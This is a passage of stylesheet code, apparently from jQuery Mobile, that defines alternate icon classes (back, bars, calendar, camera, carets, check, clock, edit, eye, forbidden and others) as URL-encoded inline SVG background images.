pace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-back:after, .ui-alt-icon .ui-icon-back:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bars:after, .ui-alt-icon .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h12%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bullets:after, .ui-alt-icon .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5C4.447%2C6%2C4%2C6.447%2C4%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h8%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-calendar:after, .ui-alt-icon .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-camera:after, .ui-alt-icon .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2%20h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-d:after, .ui-alt-icon .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-l:after, .ui-alt-icon .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-r:after, .ui-alt-icon .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-u:after, .ui-alt-icon .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-check:after, .ui-alt-icon .ui-icon-check:after, html .ui-alt-icon.ui-btn.ui-checkbox-on:after, html .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-clock:after, .ui-alt-icon .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-cloud:after, .ui-alt-icon .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2c-0.158%2C0-0.311%2C0.023-0.457%2C0.058%20C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07%20C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-comment:after, .ui-alt-icon .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-delete:after, .ui-alt-icon .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-edit:after, .ui-alt-icon .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-eye:after, .ui-alt-icon .ui-icon-eye:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-forbidden:after, .ui-alt-icon .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } 